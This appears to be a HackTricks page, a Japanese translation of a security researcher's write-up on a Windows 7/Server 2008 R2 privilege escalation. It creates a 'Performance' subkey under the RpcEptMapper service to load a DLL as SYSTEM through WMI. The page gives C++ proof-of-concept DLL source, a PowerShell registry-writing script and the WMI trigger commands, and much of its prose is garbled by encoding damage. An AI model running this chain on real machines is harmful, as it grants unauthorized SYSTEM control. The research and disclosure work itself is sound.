30 KiB
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãææ°ããŒãžã§ã³ã®PEASSãå ¥æããããHackTricksãPDFã§ããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãèŠã€ããŠãã ãããç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³ã§ãã
-
å ¬åŒã®PEASSïŒHackTricksã®ã°ããºãæã«å ¥ããŸãããã
-
ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitterã§ãã©ããŒããŠãã ããðŠ@carlospolopmã
-
**ãããã³ã°ã®ããªãã¯ãå ±æããã«ã¯ãhacktricksãªããžããªãšhacktricks-cloudãªããžããª**ã«PRãæåºããŠãã ããã
æ å ±ã¯ããããã³ã㌠https://itm4n.github.io/windows-registry-rpceptmapper-eop/
ã¹ã¯ãªããã®åºåã«ãããšãçŸåšã®ãŠãŒã¶ãŒã¯2ã€ã®ã¬ãžã¹ããªããŒã«å¯ŸããŠããã€ãã®æžã蟌ã¿æš©éãæã£ãŠããŸãã
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
regedit
GUIã䜿çšããŠãRpcEptMapper
ãµãŒãã¹ã®æš©éãæåã§ç¢ºèªããŸããããç§ãæ¬åœã«æ°ã«å
¥ã£ãŠããã®ã¯ã_Advanced Security Settings_ãŠã£ã³ããŠã®_Effective Permissions_ã¿ãã§ããä»»æã®ãŠãŒã¶ãŒãŸãã¯ã°ã«ãŒãåãéžæãããšãåå¥ã«ãã¹ãŠã®ACEã調æ»ããå¿
èŠãªãããã®äž»äœã«ä»äžãããæå¹ãªæš©éãããã«è¡šç€ºãããŸãã次ã®ã¹ã¯ãªãŒã³ã·ã§ããã¯ãäœç¹æš©ã®lab-user
ã¢ã«ãŠã³ãã®çµæã瀺ããŠããŸãã
ã»ãšãã©ã®æš©éã¯æšæºã§ãïŒäŸïŒQuery Value
ïŒããç¹ã«1ã€ãç®ç«ã¡ãŸãïŒCreate Subkey
ããã®æš©éã«å¯Ÿå¿ããäžè¬çãªååã¯AppendData/AddSubdirectory
ã§ãããã¹ã¯ãªããã§å ±åãããå
容ãšãŸã£ããåãã§ãã
Name : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status : Running
UserCanStart : True
UserCanRestart : False
Name : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : BUILTIN\Users
Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status : Running
UserCanStart : True
UserCanRestart : False
ããã¯æ£ç¢ºã«äœãæå³ããŠããŸããïŒããã¯ãããšãã°ImagePath
ã®å€ãå€æŽããããšã¯ã§ããªããšããããšãæå³ããŠããŸãããã®ããã«ã¯ãWriteData/AddFile
ã®èš±å¯ãå¿
èŠã§ãã代ããã«ãæ°ãããµãããŒã®äœæã®ã¿ãå¯èœã§ãã
ããã¯æ¬åœã«èª€æ€ç¥ã ã£ãã®ã§ããããïŒç¢ºãã«ããã§ã¯ãããŸããã楜ãã¿ãŸãããïŒ
RTFM
ãã®æç¹ã§ãHKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
ã®äžã«ä»»æã®ãµãããŒãäœæã§ããããšã¯ããã£ãŠããŸãããæ¢åã®ãµãããŒãšå€ãå€æŽããããšã¯ã§ããŸããããããã®æ¢åã®ãµãããŒã¯ãParameters
ãšSecurity
ã§ãããWindowsãµãŒãã¹ã«ã¯äžè¬çãªãã®ã§ãã
ãããã£ãŠãæåã«æãæµ®ããã 質åã¯æ¬¡ã®ãšããã§ã:ãParameters
ãSecurity
ã®ãããªãå¹æçã«ãµãŒãã¹ã®æ§æãå€æŽããåäœãå€æŽããããã«å©çšã§ããä»ã®äºåå®çŸ©ããããµãããŒã¯ããã®ã§ããããïŒã
ãã®è³ªåã«çããããã«ãæåã®èšç»ã¯ãã¹ãŠã®æ¢åã®ããŒãåæãããã¿ãŒã³ãç¹å®ããããšã§ãããã¢ã€ãã¢ã¯ããµãŒãã¹ã®æ§æã«ãšã£ãŠãæå³ã®ããããµãããŒãèŠãããšã§ããããããPowerShellã§å®è£
ããçµæããœãŒãããããšãã§ãããã©ããèãå§ããŸããããããããããè¡ãåã«ããã®ã¬ãžã¹ããªæ§é ãæ¢ã«ææžåãããŠãããã©ããçåã«æããŸããããã®ãããwindows service configuration registry site:microsoft.com
ã®ãããªããŒã¯ãŒãã§Googleæ€çŽ¢ãè¡ããæåã®çµæã衚瀺ãããŸããã
ææã§ãããäžèŠãããšãããã¥ã¡ã³ãã¯å®å šã§ã¯ãªãããã«æããŸãããã¿ã€ãã«ãèæ ®ãããšããµãŒãã¹ã®æ§æãå®çŸ©ãããã¹ãŠã®ãµãããŒãšå€ã詳现ã«èª¬æããããªãŒæ§é ã衚瀺ãããããšãæåŸ ããŠããŸããããæããã«ããã«ã¯ãããŸããã§ããã
ããã§ããå段èœããã£ãšèŠãŠã¿ãŸããããããŠããPerformanceããšãDLLããšããããŒã¯ãŒãã«ããã«æ°ä»ããŸããããPerfomanceãã®å°èŠåºãã®äžã§ã¯ã次ã®ããã«èª¬æãããŠããŸãã
Performance: ãªãã·ã§ã³ã®ããã©ãŒãã³ã¹ã¢ãã¿ãªã³ã°ã®æ å ±ãæå®ããããŒã§ãããã®ããŒã®å€ã¯ããã©ã€ãã®ããã©ãŒãã³ã¹DLLã®ååãšããã®DLLã®ç¹å®ã®ãšã¯ã¹ããŒããããé¢æ°ã®ååãæå®ããŸãããã©ã€ãã®INFãã¡ã€ã«ã®AddRegãšã³ããªã䜿çšããŠããã®ãµãããŒã«å€ãšã³ããªãè¿œå ã§ããŸãã
ãã®çã段èœã«ãããšãPerformance
ãµãããŒã䜿çšããŠããã©ã€ããµãŒãã¹ã«DLLãç»é²ããŠããã©ãŒãã³ã¹ãç£èŠããããšãçè«çã«å¯èœã§ããããã¯éåžžã«èå³æ·±ãã§ãïŒ ãã®ããŒã¯RpcEptMapper
ãµãŒãã¹ã®ããã©ã«ãã§ã¯ååšããªãã®ã§ããŸãã«å¿
èŠãªãã®ã®ããã§ãããã ãããã®ãµãŒãã¹ã¯æããã«ãã©ã€ããµãŒãã¹ã§ã¯ãããŸããããšã«ãããè©ŠããŠã¿ã䟡å€ã¯ãããŸããããããã©ãŒãã³ã¹ã¢ãã¿ãªã³ã°ãæ©èœã«ã€ããŠã®ãããªãæ
å ±ãå¿
èŠã§ãã
泚æ: Windowsã§ã¯ãåãµãŒãã¹ã«ã¯ç¹å®ã®
Type
ããããŸãããµãŒãã¹ã®ã¿ã€ãã¯æ¬¡ã®å€ã®ããããã§ããããšããããŸã:SERVICE_KERNEL_DRIVER (1)
,SERVICE_FILE_SYSTEM_DRIVER (2)
,SERVICE_ADAPTER (4)
,SERVICE_RECOGNIZER_DRIVER (8)
,SERVICE_WIN32_OWN_PROCESS (16)
,SERVICE_WIN32_SHARE_PROCESS (32)
ãŸãã¯SERVICE_INTERACTIVE_PROCESS (256)
ã
Googleæ€çŽ¢ãããŠããã€ãã®æ å ±ãèŠã€ããŸãããããã¥ã¡ã³ãã«ã¯ãCreating the Applicationâs Performance KeyãšãããªãœãŒã¹ããããŸãã
ãŸããäœæããå¿ èŠã®ãããã¹ãŠã®ããŒãšå€ããªã¹ãã¢ãããããçŽ æµãªããªãŒæ§é ããããŸãããã®åŸã説æã§ã¯æ¬¡ã®ãããªããŒæ å ±ãäžããããŠããŸãã
Library
ã®å€ã«ã¯ãDLLã®ååãŸãã¯DLLãžã®å®å šãªãã¹ãæå®ã§ããŸããOpen
ãCollect
ãClose
ã®å€ã䜿çšããŠãDLLããšã¯ã¹ããŒãããé¢æ°ã®ååãæå®ã§ããŸãã- ãããã®å€ã®ããŒã¿åã¯
REG_SZ
ã§ãïŒLibrary
ã®å€ã®å Žåã¯REG_EXPAND_SZ
ã§ãïŒã
ãã®ãªãœãŒã¹ã«å«ãŸããŠãããªã³ã¯ããã©ããšããããã®é¢æ°ã®ãããã¿ã€ããšããã€ãã®ã³ãŒããµã³ãã«ãèŠã€ãããŸã: Implementing OpenPerformanceDataã
DWORD APIENTRY OpenPerfData(LPWSTR pContext);
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
DWORD APIENTRY ClosePerfData();
Proof-of-Conceptã®äœæ
ããã¥ã¡ã³ãå šäœããåéããããããšããŒã¹ã®ãããã§ãã·ã³ãã«ãªProof-of-Concept DLLãäœæããããšã¯éåžžã«ç°¡åã§ããããããããã§ãèšç»ãå¿ èŠã§ãïŒ
DLLãã€ãžã£ãã¯ã®è匱æ§ãæªçšããå¿ èŠãããå Žåãéåžžã¯ã·ã³ãã«ã§ã«ã¹ã¿ã ãªãã°ãã«ããŒé¢æ°ããå§ããŸãããã®é¢æ°ã®ç®çã¯ãåŒã³åºããããã³ã«ããã€ãã®éèŠãªæ å ±ããã¡ã€ã«ã«æžã蟌ãããšã§ããéåžžãçŸåšã®ããã»ã¹ãšèŠªããã»ã¹ã®PIDãããã»ã¹ãå®è¡ããŠãããŠãŒã¶ãŒã®ååã察å¿ããã³ãã³ãã©ã€ã³ããã°ã«èšé²ããŸãããŸãããã®ãã°ã€ãã³ããããªã¬ãŒããé¢æ°ã®ååãèšé²ããŸããããã«ãããã©ã®ã³ãŒãã®éšåãå®è¡ãããããããããŸãã
ä»ã®èšäºã§ã¯ãéçºéšåãçç¥ããŠããŸããããããã¯ã»ãŒæããã ãšæã£ãŠããŸãããããããç§ã®ããã°æçš¿ã¯åå¿è ã«ãåããããããã®ã«ããããšæã£ãŠããã®ã§ãççŸããããŸããããã§ã¯ãã®ç¶æ³ã解æ¶ããããã«ãããã»ã¹ã®è©³çŽ°ãªèª¬æãè¡ããŸããã§ã¯ãVisual Studioãèµ·åããŠæ°ãããC++ Console Appããããžã§ã¯ããäœæããŸãããã泚æç¹ãšããŠããDynamic-Link Library (DLL)ããããžã§ã¯ããäœæããããšãã§ããŸãããå®éã«ã¯ã³ã³ãœãŒã«ã¢ããªããå§ããæ¹ãç°¡åã ãšæããŸãã
以äžã¯ãVisual Studioã«ãã£ãŠçæãããåæã³ãŒãã§ãïŒ
#include <iostream>
int main()
{
std::cout << "Hello World!\n";
}
ãã¡ãããããã¯ç§ãã¡ãæããã®ã§ã¯ãããŸãããç§ãã¡ã¯DLLãäœæãããã®ã§ãmain
é¢æ°ãDllMain
ã«çœ®ãæããå¿
èŠããããŸãããã®é¢æ°ã®ã¹ã±ã«ãã³ã³ãŒãã¯ããã¥ã¡ã³ãã§èŠã€ããããšãã§ããŸãïŒDLLã®åæåã
#include <Windows.h>
extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
{
switch (reason)
{
case DLL_PROCESS_ATTACH:
Log(L"DllMain"); // See log helper function below
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
åæã«ããããžã§ã¯ãã®èšå®ãå€æŽããŠãã³ã³ãã€ã«ãããåºåãã¡ã€ã«ãEXEã§ã¯ãªãDLLã§ããããšãæå®ããå¿ èŠããããŸãããããè¡ãã«ã¯ããããžã§ã¯ãã®ããããã£ãéãããäžè¬ãã»ã¯ã·ã§ã³ã§ãåçã©ã€ãã©ãª (.dll)ãããæ§æã®çš®é¡ããšããŠéžæããŸããã¿ã€ãã«ããŒã®ããäžã«ããããã¹ãŠã®æ§æããšããã¹ãŠã®ãã©ãããã©ãŒã ããéžæããŠããã®èšå®ãã°ããŒãã«ã«é©çšã§ããããã«ããŸãã
次ã«ãã«ã¹ã¿ã ã®ãã°ãã«ããŒé¢æ°ãè¿œå ããŸãã
#include <Lmcons.h> // UNLEN + GetUserName
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
#include <strsafe.h>
void Log(LPCWSTR pwszCallingFrom)
{
LPWSTR pwszBuffer, pwszCommandLine;
WCHAR wszUsername[UNLEN + 1] = { 0 };
SYSTEMTIME st = { 0 };
HANDLE hToolhelpSnapshot;
PROCESSENTRY32 stProcessEntry = { 0 };
DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;
BOOL bResult = FALSE;
// Get the command line of the current process
pwszCommandLine = GetCommandLine();
// Get the name of the process owner
GetUserName(wszUsername, &dwPcbBuffer);
// Get the PID of the current process
dwProcessId = GetCurrentProcessId();
// Get the PID of the parent process
hToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
stProcessEntry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {
do {
if (stProcessEntry.th32ProcessID == dwProcessId) {
dwParentProcessId = stProcessEntry.th32ParentProcessID;
break;
}
} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));
}
CloseHandle(hToolhelpSnapshot);
// Get the current date and time
GetLocalTime(&st);
// Prepare the output string and log the result
dwBufSize = 4096 * sizeof(WCHAR);
pwszBuffer = (LPWSTR)malloc(dwBufSize);
if (pwszBuffer)
{
StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",
st.wHour,
st.wMinute,
st.wSecond,
dwProcessId,
dwParentProcessId,
wszUsername,
pwszCommandLine,
pwszCallingFrom
);
LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);
free(pwszBuffer);
}
}
次ã«ãç§ãã¡ã¯DLLã«ããã¥ã¡ã³ãã§èŠã3ã€ã®é¢æ°ãè¿œå ããŸããããã¥ã¡ã³ãã«ã¯ãæåããå Žåã«ERROR_SUCCESS
ãè¿ãã¹ãã ãšãèšèŒãããŠããŸãã
DWORD APIENTRY OpenPerfData(LPWSTR pContext)
{
Log(L"OpenPerfData");
return ERROR_SUCCESS;
}
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{
Log(L"CollectPerfData");
return ERROR_SUCCESS;
}
DWORD APIENTRY ClosePerfData()
{
Log(L"ClosePerfData");
return ERROR_SUCCESS;
}
Okããããžã§ã¯ãã¯æ£ããèšå®ãããŸãããDllMain
ãå®è£
ããããã°ãã«ããŒé¢æ°ãšå¿
èŠãª3ã€ã®é¢æ°ããããŸãããã ããæåŸã«1ã€ã ãäžè¶³ããŠããŸãããã®ã³ãŒããã³ã³ãã€ã«ãããšãOpenPerfData
ãCollectPerfData
ãClosePerfData
ã¯å
éšé¢æ°ãšããŠã®ã¿å©çšå¯èœã«ãªãããããšã¯ã¹ããŒãããå¿
èŠããããŸããããã¯ããã€ãã®æ¹æ³ã§å®çŸã§ããŸããããšãã°ãDEFãã¡ã€ã«ãäœæãããããžã§ã¯ããé©åã«èšå®ããããšãã§ããŸãããã ããç§ã¯ç¹ã«ãã®ãããªå°ããªãããžã§ã¯ãã§ã¯ã__declspec(dllexport)
ããŒã¯ãŒãïŒdocïŒã䜿çšããããšã奜ã¿ãŸãããã®æ¹æ³ã§ã¯ããœãŒã¹ã³ãŒãã®å
é ã§3ã€ã®é¢æ°ã宣èšããã ãã§æžã¿ãŸãã
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
å®å šãªã³ãŒããèŠããå Žåã¯ããã¡ãã«ã¢ããããŒãããŸããã
æåŸã«ãRelease/x64 ãéžæããããœãªã¥ãŒã·ã§ã³ããã«ããããŸããããã«ããã次ã®DLLãã¡ã€ã«ãçæãããŸãïŒ.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll
ã
PoCã®ãã¹ã
ããã«é²ãåã«ããã€ããŒããæ£åžžã«åäœããŠããããšãåžžã«ç¢ºèªããããã«ãå¥ã
ã«ãã¹ãããããšããå§ãããŸããããã§å°ãæéããããããšã§ãä»®æ³çãªãããã°ãã§ãŒãºäžã«è¿·è·¯ã«è¿·ã蟌ãããšãé²ããããåŸã§å€ãã®æéãç¯çŽã§ããŸãããã®ããã«ãåçŽã«rundll32.exe
ã䜿çšããDLLã®ååãšãšã¯ã¹ããŒããããé¢æ°ã®ååããã©ã¡ãŒã¿ãšããŠæž¡ãããšãã§ããŸãã
C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData
çŽ æŽãããããã°ãã¡ã€ã«ãäœæãããŸãããéããŠã¿ããšã2ã€ã®ãšã³ããªã衚瀺ãããŸããæåã®ãšã³ããªã¯ãrundll32.exe
ã«ãã£ãŠDLLãããŒãããããšãã«æžã蟌ãŸããŸããã2çªç®ã®ãšã³ããªã¯ãOpenPerfData
ãåŒã³åºããããšãã«æžã蟌ãŸããŸãããããŸããã£ãŠããŸããïŒð
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
ãããã§ã¯å®éã®è匱æ§ã«çŠç¹ãåœãŠãŠãå¿
èŠãªã¬ãžã¹ããªããŒãšå€ã®äœæãå§ããŸããããããã¯ãreg.exe
/ regedit.exe
ã䜿çšããŠæåã§è¡ãããã¹ã¯ãªããã䜿çšããŠããã°ã©ã çã«è¡ãããšãã§ããŸããåæã®èª¿æ»äžã«æåã§æé ãå®è¡ããã®ã§ãåãããšãããç°¡æœã«è¡ãPowerShellã¹ã¯ãªããã瀺ããŸãããŸããPowerShellã§ã¬ãžã¹ããªããŒãšå€ãäœæããã®ã¯ãNew-Item
ãšNew-ItemProperty
ãåŒã³åºãã ãã§ããã
èŠæ±ãããã¬ãžã¹ã㪠ã¢ã¯ã»ã¹ãèš±å¯ãããŠããŸãã
... ããŒããããã§ãã... çµå±ããããªã«ç°¡åã§ã¯ãªãããã§ããã
ãã®åé¡ã«ã€ããŠã¯ããŸã調æ»ããŠããŸããããããããNew-Item
ãåŒã³åºããšããpowershell.exe
ã¯å®éã«ã¯èŠªã®ã¬ãžã¹ããªããŒãããã€ãã®ãã©ã°ãšãšãã«éãããšããŠããŠããããç§ãã¡ãæã£ãŠããªãæš©éã«å¯Ÿå¿ããŠããã®ãããããŸããã
ãšã«ãããçµã¿èŸŒã¿ã®ã³ãã³ãã¬ãããããŸããããªãå Žåã¯ãåžžã«1ã€äžã®ã¬ãã«ã«ç§»åããŠãçŽæ¥DotNeté¢æ°ãåŒã³åºãããšãã§ããŸããå®éã«ã¯ã次ã®ã³ãŒãã§ã¬ãžã¹ããªããŒãPowerShellã§äœæã§ããŸãã
[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
ãããå§ããŸãããïŒæçµçã«ãé©åãªããŒãšå€ãäœæãããŠãŒã¶ãŒã®å ¥åãåŸ ã¡ãæåŸã«ãã¹ãŠãã¯ãªãŒã³ã¢ããããŠçµäºããããã«ã以äžã®ã¹ã¯ãªããããŸãšããŸããã
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"
Write-Host "[*] Create 'Performance' subkey"
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create 'Library' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Open' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Collect' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Close' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-Null
Read-Host -Prompt "Press any key to continue"
Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
æåŸã®ã¹ãããã¯ãRPCãšã³ããã€ã³ãããããŒãµãŒãã¹ãã©ã®ããã«ããŠç§ãã¡ã®ããã©ãŒãã³ã¹DLLãèªã¿èŸŒãŸãããã§ããæ®å¿µãªãããç§ã¯è©ŠããããŸããŸãªããšã远跡ããŠããŸããããã®ããã°èšäºã®æèã§ã¯ãç 究ãã©ãã ãæéãšæéããããããšããããã匷調ããããšã¯éåžžã«èå³æ·±ãã§ãããããšã«ãããéäžã§èŠã€ããããšã®äžã€ã¯ãWMIïŒWindows Management InstrumentationïŒã䜿çšããŠ_ããã©ãŒãã³ã¹ã«ãŠã³ã¿ãŒ_ãã¯ãšãªã§ããããšã§ããããã¯ããŸãé©ãã¹ãããšã§ã¯ãããŸããã詳现ã¯ãã¡ãïŒWMIããã©ãŒãã³ã¹ã«ãŠã³ã¿ãŒã¿ã€ãã
ã«ãŠã³ã¿ãŒã¿ã€ãã¯ã Win32_PerfRawData ã¯ã©ã¹ã®ããããã£ã®CounterType修食åãšããŠè¡šç€ºããã Win32_PerfFormattedData ã¯ã©ã¹ã®ããããã£ã®CookingType修食åãšããŠè¡šç€ºãããŸãã
ãããã£ãŠãæåã«æ¬¡ã®ã³ãã³ãã䜿çšããŠãPowerShellã§_ããã©ãŒãã³ã¹ããŒã¿_ã«é¢é£ããWMIã¯ã©ã¹ãåæããŸããã
Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
ãããŠãç§ã¯ãã°ãã¡ã€ã«ãã»ãŒããã«äœæãããããšã«æ°ä»ããŸããïŒä»¥äžã¯ãã¡ã€ã«ã®å 容ã§ãã
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
äºæ³ã§ã¯ãæ倧ã§ãRpcEptMapper
ãµãŒãã¹ã®ã³ã³ããã¹ãã§NETWORK SERVICE
ãšããŠä»»æã®ã³ãŒããå®è¡ã§ãããšæã£ãŠããŸããããäºæ³ä»¥äžã®çµæãåŸãããŸãããå®éã«ã¯ãWMI
ãµãŒãã¹èªäœã®ã³ã³ããã¹ãã§ä»»æã®ã³ãŒããå®è¡ã§ããŸããããã®ãµãŒãã¹ã¯LOCAL SYSTEM
ãšããŠå®è¡ãããŠããŸããçŽ æŽãããçµæã§ããïŒ
泚æ: ãã
NETWORK SERVICE
ãšããŠä»»æã®ã³ãŒããå®è¡ã§ããå Žåãæ°ã¶æåã«James Forshawããã®ããã°èšäºã§ãã¢ã³ã¹ãã¬ãŒã·ã§ã³ããããªãã¯ã«ãã£ãŠãLOCAL SYSTEM
ã¢ã«ãŠã³ããŸã§ããšäžæ©ã®ãšããã§ãã: Sharing a Logon Session a Little Too Muchã
ãŸããåWMIã¯ã©ã¹ãåå¥ã«è©ŠããŠã¿ãŸããããåãçµæãåŸãããŸããã
Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData
çµè«
ãªããã®è匱æ§ãé·ãéèŠéãããŠããã®ãã¯ããããŸãããäžã€ã®èª¬æãšããŠã¯ãä»ã®ããŒã«ã¯ããããã¬ãžã¹ããªã§ã®å®å
šãªæžã蟌ã¿ã¢ã¯ã»ã¹ãæ¢ããŠããã®ã«å¯Ÿãããã®å Žåã¯AppendData/AddSubdirectory
ã ãã§ååã ã£ããããããããŸãããã誀æ§æãèªäœã«ã€ããŠã¯ãã¬ãžã¹ããªããŒãç¹å®ã®ç®çã§ãã®ããã«èšå®ãããŠãããšæãããŸãããå
·äœçãªã·ããªãªã§ã¯ããŠãŒã¶ãŒããµãŒãã¹ã®æ§æãå€æŽããæš©éãæã€ããšã¯èããããŸããã
ãã®ç¹æš©ææ Œã®è匱æ§ã«ã€ããŠå
¬éããããšã決ããçç±ã¯2ã€ãããŸããæåã®çç±ã¯ãæ°ã¶æåã«GetModfiableRegistryPath
é¢æ°ã䜿çšããŠPrivescCheckã¹ã¯ãªãããæŽæ°ããæ¥ã«ãå®éã«å
¬éããããã§ãïŒæåã¯æ°ã¥ããªãã£ãïŒã2ã€ç®ã®çç±ã¯ããã®åœ±é¿ãäœãããšã§ããããã«ã¯ããŒã«ã«ã¢ã¯ã»ã¹ãå¿
èŠã§ããããµããŒããçµäºããå€ãããŒãžã§ã³ã®Windowsã«ã®ã¿åœ±é¿ãäžããŸãïŒæ¡åŒµãµããŒãã賌å
¥ããŠããå Žåãé€ãïŒããã®æç¹ã§ãWindows 7 / Server 2008 R2ããŸã é©åã«ãããã¯ãŒã¯å
ã§åé¢ããã«äœ¿çšããŠããå Žåãã·ã¹ãã ç¹æš©ãååŸããæ»æè
ãé²ãããšã¯ããããæãå¿é
ãã¹ãããšã§ã¯ãªãã§ãããã
ãã®ç¹æš©ææ Œã®è匱æ§ã®éžè©±çãªåŽé¢ãé€ããŠããã®ãPerfomanceãã¬ãžã¹ããªèšå®ã¯ããã¹ããšã¯ã¹ããã€ãã暪æ¹å移åãAV/EDRåé¿ã«é¢ããŠéåžžã«èå³æ·±ãæ©äŒãæäŸããŠãããšæããŸãããã§ã«ããã€ãã®å ·äœçãªã·ããªãªãèããŠããŸããããŸã ãããããã¹ãããŠããŸãããç¶ã...ã
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-
ãµã€ããŒã»ãã¥ãªãã£äŒæ¥ã§åããŠããŸããïŒ HackTricksã§äŒç€Ÿã宣äŒãããã§ããïŒãŸãã¯ãPEASSã®ææ°ããŒãžã§ã³ãHackTricksã®PDFãããŠã³ããŒããããã§ããïŒSUBSCRIPTION PLANSããã§ãã¯ããŠãã ããïŒ
-
The PEASS FamilyãçºèŠããŸããããç§ãã¡ã®ç¬å çãªNFTã®ã³ã¬ã¯ã·ã§ã³
-
å ¬åŒã®PEASSïŒHackTricksã®ã°ããºãæã«å ¥ããŸããã
-
ð¬ Discordã°ã«ãŒããŸãã¯telegramã°ã«ãŒãã«åå ããããTwitter ðŠ@carlospolopmããã©ããŒããŠãã ãã
-
